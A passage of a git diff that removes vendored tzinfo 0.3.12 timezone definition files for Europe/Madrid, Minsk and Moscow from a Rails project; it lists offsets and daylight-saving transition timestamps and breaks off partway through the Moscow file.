-          tz.transition 1997, 10, :o1, 877827600
-          tz.transition 1998, 3, :o2, 891133200
-          tz.transition 1998, 10, :o1, 909277200
-          tz.transition 1999, 3, :o2, 922582800
-          tz.transition 1999, 10, :o1, 941331600
-          tz.transition 2000, 3, :o2, 954032400
-          tz.transition 2000, 10, :o1, 972781200
-          tz.transition 2001, 3, :o2, 985482000
-          tz.transition 2001, 10, :o1, 1004230800
-          tz.transition 2002, 3, :o2, 1017536400
-          tz.transition 2002, 10, :o1, 1035680400
-          tz.transition 2003, 3, :o2, 1048986000
-          tz.transition 2003, 10, :o1, 1067130000
-          tz.transition 2004, 3, :o2, 1080435600
-          tz.transition 2004, 10, :o1, 1099184400
-          tz.transition 2005, 3, :o2, 1111885200
-          tz.transition 2005, 10, :o1, 1130634000
-          tz.transition 2006, 3, :o2, 1143334800
-          tz.transition 2006, 10, :o1, 1162083600
-          tz.transition 2007, 3, :o2, 1174784400
-          tz.transition 2007, 10, :o1, 1193533200
-          tz.transition 2008, 3, :o2, 1206838800
-          tz.transition 2008, 10, :o1, 1224982800
-          tz.transition 2009, 3, :o2, 1238288400
-          tz.transition 2009, 10, :o1, 1256432400
-          tz.transition 2010, 3, :o2, 1269738000
-          tz.transition 2010, 10, :o1, 1288486800
-          tz.transition 2011, 3, :o2, 1301187600
-          tz.transition 2011, 10, :o1, 1319936400
-          tz.transition 2012, 3, :o2, 1332637200
-          tz.transition 2012, 10, :o1, 1351386000
-          tz.transition 2013, 3, :o2, 1364691600
-          tz.transition 2013, 10, :o1, 1382835600
-          tz.transition 2014, 3, :o2, 1396141200
-          tz.transition 2014, 10, :o1, 1414285200
-          tz.transition 2015, 3, :o2, 1427590800
-          tz.transition 2015, 10, :o1, 1445734800
-          tz.transition 2016, 3, :o2, 1459040400
-          tz.transition 2016, 10, :o1, 1477789200
-          tz.transition 2017, 3, :o2, 1490490000
-          tz.transition 2017, 10, :o1, 1509238800
-          tz.transition 2018, 3, :o2, 1521939600
-          tz.transition 2018, 10, :o1, 1540688400
-          tz.transition 2019, 3, :o2, 1553994000
-          tz.transition 2019, 10, :o1, 1572138000
-          tz.transition 2020, 3, :o2, 1585443600
-          tz.transition 2020, 10, :o1, 1603587600
-          tz.transition 2021, 3, :o2, 1616893200
-          tz.transition 2021, 10, :o1, 1635642000
-          tz.transition 2022, 3, :o2, 1648342800
-          tz.transition 2022, 10, :o1, 1667091600
-          tz.transition 2023, 3, :o2, 1679792400
-          tz.transition 2023, 10, :o1, 1698541200
-          tz.transition 2024, 3, :o2, 1711846800
-          tz.transition 2024, 10, :o1, 1729990800
-          tz.transition 2025, 3, :o2, 1743296400
-          tz.transition 2025, 10, :o1, 1761440400
-          tz.transition 2026, 3, :o2, 1774746000
-          tz.transition 2026, 10, :o1, 1792890000
-          tz.transition 2027, 3, :o2, 1806195600
-          tz.transition 2027, 10, :o1, 1824944400
-          tz.transition 2028, 3, :o2, 1837645200
-          tz.transition 2028, 10, :o1, 1856394000
-          tz.transition 2029, 3, :o2, 1869094800
-          tz.transition 2029, 10, :o1, 1887843600
-          tz.transition 2030, 3, :o2, 1901149200
-          tz.transition 2030, 10, :o1, 1919293200
-          tz.transition 2031, 3, :o2, 1932598800
-          tz.transition 2031, 10, :o1, 1950742800
-          tz.transition 2032, 3, :o2, 1964048400
-          tz.transition 2032, 10, :o1, 1982797200
-          tz.transition 2033, 3, :o2, 1995498000
-          tz.transition 2033, 10, :o1, 2014246800
-          tz.transition 2034, 3, :o2, 2026947600
-          tz.transition 2034, 10, :o1, 2045696400
-          tz.transition 2035, 3, :o2, 2058397200
-          tz.transition 2035, 10, :o1, 2077146000
-          tz.transition 2036, 3, :o2, 2090451600
-          tz.transition 2036, 10, :o1, 2108595600
-          tz.transition 2037, 3, :o2, 2121901200
-          tz.transition 2037, 10, :o1, 2140045200
-          tz.transition 2038, 3, :o2, 59172253, 24
-          tz.transition 2038, 10, :o1, 59177461, 24
-          tz.transition 2039, 3, :o2, 59180989, 24
-          tz.transition 2039, 10, :o1, 59186197, 24
-          tz.transition 2040, 3, :o2, 59189725, 24
-          tz.transition 2040, 10, :o1, 59194933, 24
-          tz.transition 2041, 3, :o2, 59198629, 24
-          tz.transition 2041, 10, :o1, 59203669, 24
-          tz.transition 2042, 3, :o2, 59207365, 24
-          tz.transition 2042, 10, :o1, 59212405, 24
-          tz.transition 2043, 3, :o2, 59216101, 24
-          tz.transition 2043, 10, :o1, 59221141, 24
-          tz.transition 2044, 3, :o2, 59224837, 24
-          tz.transition 2044, 10, :o1, 59230045, 24
-          tz.transition 2045, 3, :o2, 59233573, 24
-          tz.transition 2045, 10, :o1, 59238781, 24
-          tz.transition 2046, 3, :o2, 59242309, 24
-          tz.transition 2046, 10, :o1, 59247517, 24
-          tz.transition 2047, 3, :o2, 59251213, 24
-          tz.transition 2047, 10, :o1, 59256253, 24
-          tz.transition 2048, 3, :o2, 59259949, 24
-          tz.transition 2048, 10, :o1, 59264989, 24
-          tz.transition 2049, 3, :o2, 59268685, 24
-          tz.transition 2049, 10, :o1, 59273893, 24
-          tz.transition 2050, 3, :o2, 59277421, 24
-          tz.transition 2050, 10, :o1, 59282629, 24
-        end
-      end
-    end
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Madrid.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Madrid.rb
deleted file mode 100644
index 1fb56823..00000000
--- a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Madrid.rb
+++ /dev/null
@@ -1,211 +0,0 @@
-require 'tzinfo/timezone_definition'
-
-module TZInfo
-  module Definitions
-    module Europe
-      module Madrid
-        include TimezoneDefinition
-        
-        timezone 'Europe/Madrid' do |tz|
-          tz.offset :o0, -884, 0, :LMT
-          tz.offset :o1, 0, 0, :WET
-          tz.offset :o2, 0, 3600, :WEST
-          tz.offset :o3, 0, 7200, :WEMT
-          tz.offset :o4, 3600, 0, :CET
-          tz.offset :o5, 3600, 3600, :CEST
-          
-          tz.transition 1901, 1, :o1, 52172327021, 21600
-          tz.transition 1917, 5, :o2, 58112507, 24
-          tz.transition 1917, 10, :o1, 58116203, 24
-          tz.transition 1918, 4, :o2, 58120787, 24
-          tz.transition 1918, 10, :o1, 58124963, 24
-          tz.transition 1919, 4, :o2, 58129307, 24
-          tz.transition 1919, 10, :o1, 58133723, 24
-          tz.transition 1924, 4, :o2, 58173419, 24
-          tz.transition 1924, 10, :o1, 58177523, 24
-          tz.transition 1926, 4, :o2, 58190963, 24
-          tz.transition 1926, 10, :o1, 58194995, 24
-          tz.transition 1927, 4, :o2, 58199531, 24
-          tz.transition 1927, 10, :o1, 58203731, 24
-          tz.transition 1928, 4, :o2, 58208435, 24
-          tz.transition 1928, 10, :o1, 58212635, 24
-          tz.transition 1929, 4, :o2, 58217339, 24
-          tz.transition 1929, 10, :o1, 58221371, 24
-          tz.transition 1937, 5, :o2, 58288235, 24
-          tz.transition 1937, 10, :o1, 58291427, 24
-          tz.transition 1938, 3, :o2, 58295531, 24
-          tz.transition 1938, 10, :o1, 58300163, 24
-          tz.transition 1939, 4, :o2, 58304867, 24
-          tz.transition 1939, 10, :o1, 58309067, 24
-          tz.transition 1940, 3, :o2, 58312931, 24
-          tz.transition 1942, 5, :o3, 29165789, 12
-          tz.transition 1942, 9, :o2, 29167253, 12
-          tz.transition 1943, 4, :o3, 29169989, 12
-          tz.transition 1943, 10, :o2, 29172017, 12
-          tz.transition 1944, 4, :o3, 29174357, 12
-          tz.transition 1944, 10, :o2, 29176493, 12
-          tz.transition 1945, 4, :o3, 29178725, 12
-          tz.transition 1945, 9, :o2, 58361483, 24
-          tz.transition 1946, 4, :o3, 29183093, 12
-          tz.transition 1946, 9, :o4, 29185121, 12
-          tz.transition 1949, 4, :o5, 29196449, 12
-          tz.transition 1949, 9, :o4, 58396547, 24
-          tz.transition 1974, 4, :o5, 135122400
-          tz.transition 1974, 10, :o4, 150246000
-          tz.transition 1975, 4, :o5, 167176800
-          tz.transition 1975, 10, :o4, 181695600
-          tz.transition 1976, 3, :o5, 196812000
-          tz.transition 1976, 9, :o4, 212540400
-          tz.transition 1977, 4, :o5, 228866400
-          tz.transition 1977, 9, :o4, 243990000
-          tz.transition 1978, 4, :o5, 260402400
-          tz.transition 1978, 9, :o4, 276044400
-          tz.transition 1979, 4, :o5, 291776400
-          tz.transition 1979, 9, :o4, 307501200
-          tz.transition 1980, 4, :o5, 323830800
-          tz.transition 1980, 9, :o4, 338950800
-          tz.transition 1981, 3, :o5, 354675600
-          tz.transition 1981, 9, :o4, 370400400
-          tz.transition 1982, 3, :o5, 386125200
-          tz.transition 1982, 9, :o4, 401850000
-          tz.transition 1983, 3, :o5, 417574800
-          tz.transition 1983, 9, :o4, 433299600
-          tz.transition 1984, 3, :o5, 449024400
-          tz.transition 1984, 9, :o4, 465354000
-          tz.transition 1985, 3, :o5, 481078800
-          tz.transition 1985, 9, :o4, 496803600
-          tz.transition 1986, 3, :o5, 512528400
-          tz.transition 1986, 9, :o4, 528253200
-          tz.transition 1987, 3, :o5, 543978000
-          tz.transition 1987, 9, :o4, 559702800
-          tz.transition 1988, 3, :o5, 575427600
-          tz.transition 1988, 9, :o4, 591152400
-          tz.transition 1989, 3, :o5, 606877200
-          tz.transition 1989, 9, :o4, 622602000
-          tz.transition 1990, 3, :o5, 638326800
-          tz.transition 1990, 9, :o4, 654656400
-          tz.transition 1991, 3, :o5, 670381200
-          tz.transition 1991, 9, :o4, 686106000
-          tz.transition 1992, 3, :o5, 701830800
-          tz.transition 1992, 9, :o4, 717555600
-          tz.transition 1993, 3, :o5, 733280400
-          tz.transition 1993, 9, :o4, 749005200
-          tz.transition 1994, 3, :o5, 764730000
-          tz.transition 1994, 9, :o4, 780454800
-          tz.transition 1995, 3, :o5, 796179600
-          tz.transition 1995, 9, :o4, 811904400
-          tz.transition 1996, 3, :o5, 828234000
-          tz.transition 1996, 10, :o4, 846378000
-          tz.transition 1997, 3, :o5, 859683600
-          tz.transition 1997, 10, :o4, 877827600
-          tz.transition 1998, 3, :o5, 891133200
-          tz.transition 1998, 10, :o4, 909277200
-          tz.transition 1999, 3, :o5, 922582800
-          tz.transition 1999, 10, :o4, 941331600
-          tz.transition 2000, 3, :o5, 954032400
-          tz.transition 2000, 10, :o4, 972781200
-          tz.transition 2001, 3, :o5, 985482000
-          tz.transition 2001, 10, :o4, 1004230800
-          tz.transition 2002, 3, :o5, 1017536400
-          tz.transition 2002, 10, :o4, 1035680400
-          tz.transition 2003, 3, :o5, 1048986000
-          tz.transition 2003, 10, :o4, 1067130000
-          tz.transition 2004, 3, :o5, 1080435600
-          tz.transition 2004, 10, :o4, 1099184400
-          tz.transition 2005, 3, :o5, 1111885200
-          tz.transition 2005, 10, :o4, 1130634000
-          tz.transition 2006, 3, :o5, 1143334800
-          tz.transition 2006, 10, :o4, 1162083600
-          tz.transition 2007, 3, :o5, 1174784400
-          tz.transition 2007, 10, :o4, 1193533200
-          tz.transition 2008, 3, :o5, 1206838800
-          tz.transition 2008, 10, :o4, 1224982800
-          tz.transition 2009, 3, :o5, 1238288400
-          tz.transition 2009, 10, :o4, 1256432400
-          tz.transition 2010, 3, :o5, 1269738000
-          tz.transition 2010, 10, :o4, 1288486800
-          tz.transition 2011, 3, :o5, 1301187600
-          tz.transition 2011, 10, :o4, 1319936400
-          tz.transition 2012, 3, :o5, 1332637200
-          tz.transition 2012, 10, :o4, 1351386000
-          tz.transition 2013, 3, :o5, 1364691600
-          tz.transition 2013, 10, :o4, 1382835600
-          tz.transition 2014, 3, :o5, 1396141200
-          tz.transition 2014, 10, :o4, 1414285200
-          tz.transition 2015, 3, :o5, 1427590800
-          tz.transition 2015, 10, :o4, 1445734800
-          tz.transition 2016, 3, :o5, 1459040400
-          tz.transition 2016, 10, :o4, 1477789200
-          tz.transition 2017, 3, :o5, 1490490000
-          tz.transition 2017, 10, :o4, 1509238800
-          tz.transition 2018, 3, :o5, 1521939600
-          tz.transition 2018, 10, :o4, 1540688400
-          tz.transition 2019, 3, :o5, 1553994000
-          tz.transition 2019, 10, :o4, 1572138000
-          tz.transition 2020, 3, :o5, 1585443600
-          tz.transition 2020, 10, :o4, 1603587600
-          tz.transition 2021, 3, :o5, 1616893200
-          tz.transition 2021, 10, :o4, 1635642000
-          tz.transition 2022, 3, :o5, 1648342800
-          tz.transition 2022, 10, :o4, 1667091600
-          tz.transition 2023, 3, :o5, 1679792400
-          tz.transition 2023, 10, :o4, 1698541200
-          tz.transition 2024, 3, :o5, 1711846800
-          tz.transition 2024, 10, :o4, 1729990800
-          tz.transition 2025, 3, :o5, 1743296400
-          tz.transition 2025, 10, :o4, 1761440400
-          tz.transition 2026, 3, :o5, 1774746000
-          tz.transition 2026, 10, :o4, 1792890000
-          tz.transition 2027, 3, :o5, 1806195600
-          tz.transition 2027, 10, :o4, 1824944400
-          tz.transition 2028, 3, :o5, 1837645200
-          tz.transition 2028, 10, :o4, 1856394000
-          tz.transition 2029, 3, :o5, 1869094800
-          tz.transition 2029, 10, :o4, 1887843600
-          tz.transition 2030, 3, :o5, 1901149200
-          tz.transition 2030, 10, :o4, 1919293200
-          tz.transition 2031, 3, :o5, 1932598800
-          tz.transition 2031, 10, :o4, 1950742800
-          tz.transition 2032, 3, :o5, 1964048400
-          tz.transition 2032, 10, :o4, 1982797200
-          tz.transition 2033, 3, :o5, 1995498000
-          tz.transition 2033, 10, :o4, 2014246800
-          tz.transition 2034, 3, :o5, 2026947600
-          tz.transition 2034, 10, :o4, 2045696400
-          tz.transition 2035, 3, :o5, 2058397200
-          tz.transition 2035, 10, :o4, 2077146000
-          tz.transition 2036, 3, :o5, 2090451600
-          tz.transition 2036, 10, :o4, 2108595600
-          tz.transition 2037, 3, :o5, 2121901200
-          tz.transition 2037, 10, :o4, 2140045200
-          tz.transition 2038, 3, :o5, 59172253, 24
-          tz.transition 2038, 10, :o4, 59177461, 24
-          tz.transition 2039, 3, :o5, 59180989, 24
-          tz.transition 2039, 10, :o4, 59186197, 24
-          tz.transition 2040, 3, :o5, 59189725, 24
-          tz.transition 2040, 10, :o4, 59194933, 24
-          tz.transition 2041, 3, :o5, 59198629, 24
-          tz.transition 2041, 10, :o4, 59203669, 24
-          tz.transition 2042, 3, :o5, 59207365, 24
-          tz.transition 2042, 10, :o4, 59212405, 24
-          tz.transition 2043, 3, :o5, 59216101, 24
-          tz.transition 2043, 10, :o4, 59221141, 24
-          tz.transition 2044, 3, :o5, 59224837, 24
-          tz.transition 2044, 10, :o4, 59230045, 24
-          tz.transition 2045, 3, :o5, 59233573, 24
-          tz.transition 2045, 10, :o4, 59238781, 24
-          tz.transition 2046, 3, :o5, 59242309, 24
-          tz.transition 2046, 10, :o4, 59247517, 24
-          tz.transition 2047, 3, :o5, 59251213, 24
-          tz.transition 2047, 10, :o4, 59256253, 24
-          tz.transition 2048, 3, :o5, 59259949, 24
-          tz.transition 2048, 10, :o4, 59264989, 24
-          tz.transition 2049, 3, :o5, 59268685, 24
-          tz.transition 2049, 10, :o4, 59273893, 24
-          tz.transition 2050, 3, :o5, 59277421, 24
-          tz.transition 2050, 10, :o4, 59282629, 24
-        end
-      end
-    end
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Minsk.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Minsk.rb
deleted file mode 100644
index fa15816c..00000000
--- a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Minsk.rb
+++ /dev/null
@@ -1,170 +0,0 @@
-require 'tzinfo/timezone_definition'
-
-module TZInfo
-  module Definitions
-    module Europe
-      module Minsk
-        include TimezoneDefinition
-        
-        timezone 'Europe/Minsk' do |tz|
-          tz.offset :o0, 6616, 0, :LMT
-          tz.offset :o1, 6600, 0, :MMT
-          tz.offset :o2, 7200, 0, :EET
-          tz.offset :o3, 10800, 0, :MSK
-          tz.offset :o4, 3600, 3600, :CEST
-          tz.offset :o5, 3600, 0, :CET
-          tz.offset :o6, 10800, 3600, :MSD
-          tz.offset :o7, 7200, 3600, :EEST
-          
-          tz.transition 1879, 12, :o1, 26003326573, 10800
-          tz.transition 1924, 5, :o2, 349042669, 144
-          tz.transition 1930, 6, :o3, 29113781, 12
-          tz.transition 1941, 6, :o4, 19441387, 8
-          tz.transition 1942, 11, :o5, 58335973, 24
-          tz.transition 1943, 3, :o4, 58339501, 24
-          tz.transition 1943, 10, :o5, 58344037, 24
-          tz.transition 1944, 4, :o4, 58348405, 24
-          tz.transition 1944, 7, :o3, 29175293, 12
-          tz.transition 1981, 3, :o6, 354920400
-          tz.transition 1981, 9, :o3, 370728000
-          tz.transition 1982, 3, :o6, 386456400
-          tz.transition 1982, 9, :o3, 402264000
-          tz.transition 1983, 3, :o6, 417992400
-          tz.transition 1983, 9, :o3, 433800000
-          tz.transition 1984, 3, :o6, 449614800
-          tz.transition 1984, 9, :o3, 465346800
-          tz.transition 1985, 3, :o6, 481071600
-          tz.transition 1985, 9, :o3, 496796400
-          tz.transition 1986, 3, :o6, 512521200
-          tz.transition 1986, 9, :o3, 528246000
-          tz.transition 1987, 3, :o6, 543970800
-          tz.transition 1987, 9, :o3, 559695600
-          tz.transition 1988, 3, :o6, 575420400
-          tz.transition 1988, 9, :o3, 591145200
-          tz.transition 1989, 3, :o6, 606870000
-          tz.transition 1989, 9, :o3, 622594800
-          tz.transition 1991, 3, :o7, 670374000
-          tz.transition 1991, 9, :o2, 686102400
-          tz.transition 1992, 3, :o7, 701820000
-          tz.transition 1992, 9, :o2, 717544800
-          tz.transition 1993, 3, :o7, 733276800
-          tz.transition 1993, 9, :o2, 749001600
-          tz.transition 1994, 3, :o7, 764726400
-          tz.transition 1994, 9, :o2, 780451200
-          tz.transition 1995, 3, :o7, 796176000
-          tz.transition 1995, 9, :o2, 811900800
-          tz.transition 1996, 3, :o7, 828230400
-          tz.transition 1996, 10, :o2, 846374400
-          tz.transition 1997, 3, :o7, 859680000
-          tz.transition 1997, 10, :o2, 877824000
-          tz.transition 1998, 3, :o7, 891129600
-          tz.transition 1998, 10, :o2, 909273600
-          tz.transition 1999, 3, :o7, 922579200
-          tz.transition 1999, 10, :o2, 941328000
-          tz.transition 2000, 3, :o7, 954028800
-          tz.transition 2000, 10, :o2, 972777600
-          tz.transition 2001, 3, :o7, 985478400
-          tz.transition 2001, 10, :o2, 1004227200
-          tz.transition 2002, 3, :o7, 1017532800
-          tz.transition 2002, 10, :o2, 1035676800
-          tz.transition 2003, 3, :o7, 1048982400
-          tz.transition 2003, 10, :o2, 1067126400
-          tz.transition 2004, 3, :o7, 1080432000
-          tz.transition 2004, 10, :o2, 1099180800
-          tz.transition 2005, 3, :o7, 1111881600
-          tz.transition 2005, 10, :o2, 1130630400
-          tz.transition 2006, 3, :o7, 1143331200
-          tz.transition 2006, 10, :o2, 1162080000
-          tz.transition 2007, 3, :o7, 1174780800
-          tz.transition 2007, 10, :o2, 1193529600
-          tz.transition 2008, 3, :o7, 1206835200
-          tz.transition 2008, 10, :o2, 1224979200
-          tz.transition 2009, 3, :o7, 1238284800
-          tz.transition 2009, 10, :o2, 1256428800
-          tz.transition 2010, 3, :o7, 1269734400
-          tz.transition 2010, 10, :o2, 1288483200
-          tz.transition 2011, 3, :o7, 1301184000
-          tz.transition 2011, 10, :o2, 1319932800
-          tz.transition 2012, 3, :o7, 1332633600
-          tz.transition 2012, 10, :o2, 1351382400
-          tz.transition 2013, 3, :o7, 1364688000
-          tz.transition 2013, 10, :o2, 1382832000
-          tz.transition 2014, 3, :o7, 1396137600
-          tz.transition 2014, 10, :o2, 1414281600
-          tz.transition 2015, 3, :o7, 1427587200
-          tz.transition 2015, 10, :o2, 1445731200
-          tz.transition 2016, 3, :o7, 1459036800
-          tz.transition 2016, 10, :o2, 1477785600
-          tz.transition 2017, 3, :o7, 1490486400
-          tz.transition 2017, 10, :o2, 1509235200
-          tz.transition 2018, 3, :o7, 1521936000
-          tz.transition 2018, 10, :o2, 1540684800
-          tz.transition 2019, 3, :o7, 1553990400
-          tz.transition 2019, 10, :o2, 1572134400
-          tz.transition 2020, 3, :o7, 1585440000
-          tz.transition 2020, 10, :o2, 1603584000
-          tz.transition 2021, 3, :o7, 1616889600
-          tz.transition 2021, 10, :o2, 1635638400
-          tz.transition 2022, 3, :o7, 1648339200
-          tz.transition 2022, 10, :o2, 1667088000
-          tz.transition 2023, 3, :o7, 1679788800
-          tz.transition 2023, 10, :o2, 1698537600
-          tz.transition 2024, 3, :o7, 1711843200
-          tz.transition 2024, 10, :o2, 1729987200
-          tz.transition 2025, 3, :o7, 1743292800
-          tz.transition 2025, 10, :o2, 1761436800
-          tz.transition 2026, 3, :o7, 1774742400
-          tz.transition 2026, 10, :o2, 1792886400
-          tz.transition 2027, 3, :o7, 1806192000
-          tz.transition 2027, 10, :o2, 1824940800
-          tz.transition 2028, 3, :o7, 1837641600
-          tz.transition 2028, 10, :o2, 1856390400
-          tz.transition 2029, 3, :o7, 1869091200
-          tz.transition 2029, 10, :o2, 1887840000
-          tz.transition 2030, 3, :o7, 1901145600
-          tz.transition 2030, 10, :o2, 1919289600
-          tz.transition 2031, 3, :o7, 1932595200
-          tz.transition 2031, 10, :o2, 1950739200
-          tz.transition 2032, 3, :o7, 1964044800
-          tz.transition 2032, 10, :o2, 1982793600
-          tz.transition 2033, 3, :o7, 1995494400
-          tz.transition 2033, 10, :o2, 2014243200
-          tz.transition 2034, 3, :o7, 2026944000
-          tz.transition 2034, 10, :o2, 2045692800
-          tz.transition 2035, 3, :o7, 2058393600
-          tz.transition 2035, 10, :o2, 2077142400
-          tz.transition 2036, 3, :o7, 2090448000
-          tz.transition 2036, 10, :o2, 2108592000
-          tz.transition 2037, 3, :o7, 2121897600
-          tz.transition 2037, 10, :o2, 2140041600
-          tz.transition 2038, 3, :o7, 4931021, 2
-          tz.transition 2038, 10, :o2, 4931455, 2
-          tz.transition 2039, 3, :o7, 4931749, 2
-          tz.transition 2039, 10, :o2, 4932183, 2
-          tz.transition 2040, 3, :o7, 4932477, 2
-          tz.transition 2040, 10, :o2, 4932911, 2
-          tz.transition 2041, 3, :o7, 4933219, 2
-          tz.transition 2041, 10, :o2, 4933639, 2
-          tz.transition 2042, 3, :o7, 4933947, 2
-          tz.transition 2042, 10, :o2, 4934367, 2
-          tz.transition 2043, 3, :o7, 4934675, 2
-          tz.transition 2043, 10, :o2, 4935095, 2
-          tz.transition 2044, 3, :o7, 4935403, 2
-          tz.transition 2044, 10, :o2, 4935837, 2
-          tz.transition 2045, 3, :o7, 4936131, 2
-          tz.transition 2045, 10, :o2, 4936565, 2
-          tz.transition 2046, 3, :o7, 4936859, 2
-          tz.transition 2046, 10, :o2, 4937293, 2
-          tz.transition 2047, 3, :o7, 4937601, 2
-          tz.transition 2047, 10, :o2, 4938021, 2
-          tz.transition 2048, 3, :o7, 4938329, 2
-          tz.transition 2048, 10, :o2, 4938749, 2
-          tz.transition 2049, 3, :o7, 4939057, 2
-          tz.transition 2049, 10, :o2, 4939491, 2
-          tz.transition 2050, 3, :o7, 4939785, 2
-          tz.transition 2050, 10, :o2, 4940219, 2
-        end
-      end
-    end
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Moscow.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Moscow.rb
deleted file mode 100644
index ef269b67..00000000
--- a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Moscow.rb
+++ /dev/null
@@ -1,181 +0,0 @@
-require 'tzinfo/timezone_definition'
-
-module TZInfo
-  module Definitions
-    module Europe
-      module Moscow
-        include TimezoneDefinition
-        
-        timezone 'Europe/Moscow' do |tz|
-          tz.offset :o0, 9020, 0, :LMT
-          tz.offset :o1, 9000, 0, :MMT
-          tz.offset :o2, 9048, 0, :MMT
-          tz.offset :o3, 9048, 3600, :MST
-          tz.offset :o4, 9048, 7200, :MDST
-          tz.offset :o5, 10800, 3600, :MSD
-          tz.offset :o6, 10800, 0, :MSK
-          tz.offset :o7, 10800, 7200, :MSD
-          tz.offset :o8, 7200, 0, :EET
-          tz.offset :o9, 7200, 3600, :EEST
-          
-          tz.transition 1879, 12, :o1, 10401330509, 4320
-          tz.transition 1916, 7, :o2, 116210275, 48
-          tz.transition 1917, 7, :o3, 8717080873, 3600
-          tz.transition 1917, 12, :o2, 8717725273, 3600
-          tz.transition 1918, 5, :o4, 8718283123, 3600
-          tz.transition 1918, 9, :o3, 8718668473, 3600
-          tz.transition 1919, 5, :o4, 8719597123, 3600
-          tz.transition 1919, 6, :o5, 8719705423, 3600
-          tz.transition 1919, 8, :o6, 7266559, 3
-          tz.transition 1921, 2, :o5, 7268206, 3
-          tz.transition 1921, 3, :o7, 58146463, 24
-          tz.transition 1921, 8, :o5, 58150399, 24
-          tz.transition 1921, 9, :o6, 7268890, 3
-          tz.transition 1922, 9, :o8, 19386627, 8
-          tz.transition 1930, 6, :o6, 29113781, 12
-          tz.transition 1981, 3, :o5, 354920400
-          tz.transition 1981, 9, :o6, 370728000
-          tz.transition 1982, 3, :o5, 386456400
-          tz.transition 1982, 9, :o6, 402264000
-          tz.transition 1983, 3, :o5, 417992400
-          tz.transition 1983, 9, :o6, 433800000
-          tz.transition 1984, 3, :o5, 449614800
-          tz.transition 1984, 9, :o6, 465346800
-          tz.transition 1985, 3, :o5, 481071600
-          tz.transition 1985, 9, :o6, 496796400
-          tz.transition 1986, 3, :o5, 512521200
-          tz.transition 1986, 9, :o6, 528246000
-          tz.transition 1987, 3, :o5, 543970800
-          tz.transition 1987, 9, :o6, 559695600
-          tz.transition 1988, 3, :o5, 575420400
-          tz.transition 1988, 9, :o6, 591145200
-          tz.transition 1989, 3, :o5, 606870000
-          tz.transition 1989, 9, :o6, 622594800
-          tz.transition 1990, 3, :o5, 638319600
-          tz.transition 1990, 9, :o6, 654649200
-          tz.transition 1991, 3, :o9, 670374000
-          tz.transition 1991, 9, :o8, 686102400
-          tz.transition 1992, 1, :o6, 695779200
-          tz.transition 1992, 3, :o5, 701812800
-          tz.transition 1992, 9, :o6, 717534000
-          tz.transition 1993, 3, :o5, 733273200
-          tz.transition 1993, 9, :o6, 748998000
-          tz.transition 1994, 3, :o5, 764722800
-          tz.transition 1994, 9, :o6, 780447600
-          tz.transition 1995, 3, :o5, 796172400
-          tz.transition 1995, 9, :o6, 811897200
-          tz.transition 1996, 3, :o5, 828226800
-          tz.transition 1996, 10, :o6, 846370800
-          tz.transition 1997, 3, :o5, 859676400
-          tz.transition 1997, 10, :o6, 877820400
-          tz.transition 1998, 3, :o5, 891126000
-          tz.transition 1998, 10, :o6, 909270000
-          tz.transition 1999, 3, :o5, 922575600
-          tz.transition 1999, 10, :o6, 941324400
-          tz.transition 2000, 3, :o5, 954025200
-          tz.transition 2000, 10, :o6, 972774000
-          tz.transition 2001, 3, :o5, 985474800
-          tz.transition 2001, 10, :o6, 1004223600
-          tz.transition 2002, 3, :o5, 1017529200
-          tz.transition 2002, 10, :o6, 1035673200
-          tz.transition 2003, 3, :o5, 1048978800
-          tz.transition 2003, 10, :o6, 1067122800
-          tz.transition 2004, 3, :o5, 1080428400
-          tz.transition 2004, 10, :o6, 1099177200
-          tz.transition 2005, 3, :o5, 1111878000
-          tz.transition 2005, 10, :o6, 1130626800
-          tz.transition 2006, 3, :o5, 1143327600
-          tz.transition 2006, 10, :o6, 1162076400
-          tz.transition 2007, 3, :o5, 1174777200
-          tz.transition 2007, 10, :o6, 1193526000
-          tz.transition 2008, 3, :o5, 1206831600
-          tz.transition 2008, 10, :o6, 1224975600
-          tz.transition 2009, 3, :o5, 1238281200
-          tz.transition 2009, 10, :o6, 1256425200
-          tz.transition 2010, 3, :o5, 1269730800
-          tz.transition 2010, 10, :o6, 1288479600
-          tz.transition 2011, 3, :o5, 1301180400
-          tz.transition 2011, 10, :o6, 1319929200
-          tz.transition 2012, 3, :o5, 1332630000
-          tz.transition 2012, 10, :o6, 1351378800
-          tz.transition 2013, 3, :o5, 1364684400
-          tz.transition 2013, 10, :o6, 1382828400
-          tz.transition 2014, 3, :o5, 1396134000
-          tz.transition 2014, 10, :o6, 1414278000
-          tz.transition 2015, 3, :o5, 1427583600
-          tz.transition 2015, 10, :o6, 1445727600
-          tz.transition 2016, 3, :o5, 1459033200
-          tz.transition 2016, 10, :o6, 1477782000
-          tz.transition 2017, 3, :o5, 1490482800
-          tz.transition 2017, 10, :o6, 1509231600
-          tz.transition 2018, 3, :o5, 1521932400
-          tz.transition 2018, 10, :o6, 1540681200
-          tz.transition 2019, 3, :o5, 1553986800
-          tz.transition 2019, 10, :o6, 1572130800
-          tz.transition 2020, 3, :o5, 1585436400
-          tz.transition 2020, 10, :o6, 1603580400
-          tz.transition 2021, 3, :o5, 1616886000
-          tz.transition 2021, 10, :o6, 1635634800
-          tz.transition 2022, 3, :o5, 1648335600
-          tz.transition 2022, 10, :o6, 1667084400
-          tz.transition 2023, 3, :o5, 1679785200
-          tz.transition 2023, 10, :o6, 1698534000
-          tz.transition 2024, 3, :o5, 1711839600
-          tz.transition 2024, 10, :o6, 1729983600
-          tz.transition 2025, 3, :o5, 1743289200
-          tz.transition 2025, 10, :o6, 1761433200
-          tz.transition 2026, 3, :o5, 1774738800
-          tz.transition 2026, 10, :o6, 1792882800
-          tz.transition 2027, 3, :o5, 1806188400
